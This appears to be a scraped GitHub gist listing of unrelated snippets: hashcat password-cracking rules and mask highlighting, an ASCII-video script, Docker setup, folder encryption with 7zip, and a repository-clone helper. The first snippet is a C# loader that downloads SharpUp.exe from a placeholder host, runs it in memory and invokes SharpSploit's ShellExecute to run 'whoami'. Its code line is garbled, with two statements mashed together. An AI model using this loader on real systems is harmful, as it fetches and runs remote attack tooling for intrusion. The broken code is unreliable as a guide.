This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Program { | |
public static void Main() { | |
System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://x.x.x.x/SharpUp.exe")).EntryPoint.Invoke(null, parameters);")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", "")); | |
} | |
} | |
# object[] arguments = new object[]{ new string[] {"arg1", "arg2"}}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Word01, Word99, Word20 | |
c $0$1 | |
c $9$9 | |
c $2$0 | |
# Word01, Word99 | |
l $0$1 | |
l $9$9 | |
l $2$0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# nano syntax highlighting for hashcat hcmask files | |
syntax "hcmask" "\.hcmask" | |
# if you want to incluse *.masks add this behind the \.hcmask | |
# "|\.masks" | |
color brightblack "\?" | |
color brightwhite "u" | |
color yellow "d" | |
color brightcyan "a" | |
color brightblue "s" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# sauce: https://motiondesigntechnology.wordpress.com/2014/03/05/python-ascii-video-and-ascii-image-creator/ | |
import sys | |
import cv2 | |
import subprocess | |
from subprocess import call | |
import aalib |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# update apt-get | |
export DEBIAN_FRONTEND="noninteractive" | |
sudo apt-get update | |
# remove previously installed Docker | |
sudo apt-get remove docker docker-engine docker.io* lxc-docker* | |
# install dependencies 4 cert |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#***********************************************************************************************# | |
# encrypt_folders.sh # | |
# asks for password, encrypt all folders in current dir with 7zip. Output files are 7z # | |
# # | |
# Version: 0.2 # | |
#***********************************************************************************************# | |
read -s -p "Password: " PASS |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This script will clone a github repository and register it with myrepos. | |
# | |
# How to use: | |
# You need myrepo's and git. If you are using Debian/Ubuntu/Mint: sudo apt install -y myrepos git | |
# chmod +x mrgitclone.sh | |
# An alias is recommended, if you are using bash and the script is in your home dir: echo "alias mrgitclone='~/mrgitclone.sh'" >> ~/.bash_aliases | |
# ./mrgitclone.sh https://github.com/name/project.git | |
# | |
# To update all your github repositories: mr update |